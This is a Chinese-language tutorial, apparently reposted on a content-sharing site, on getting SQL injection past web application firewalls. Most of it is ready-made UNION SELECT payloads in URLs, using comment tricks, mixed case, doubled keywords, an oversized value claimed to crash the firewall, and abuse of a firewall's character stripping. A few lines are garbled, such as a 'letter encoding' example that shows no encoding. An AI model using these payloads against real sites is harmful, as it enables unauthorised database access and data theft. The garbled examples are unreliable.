什么是WAF?
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法:
1、注释符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 UnION/**/SElecT 1,2,3,4…
U替换为U,S替换为S 在 union 和 select 之间添加注释/**/
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C 开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.2cto.com /index.php?page_id=-15 and (select1)=(Select 0xAA[..(add about 1000 "A")..]) /*!uNIOn*/ /*!SeLECt*/ 1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null /**//*!50000UnIOn*//*yoyu*/all/**/ /*!SeLEct*/ /*nnaa*/ 1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /*!union*/ /*!select*/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
????????http://www.site.com/index.php?page_id=-15 uni*on sel*ect 1,2,3,4....
其它方法:-15 (uNioN) (sElECt)….-15 (uNioN SeleCT) …-15 (UnI)(oN) (SeL)(ecT) ….-15 union (select 1,2,3,4…)
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请
点击举报。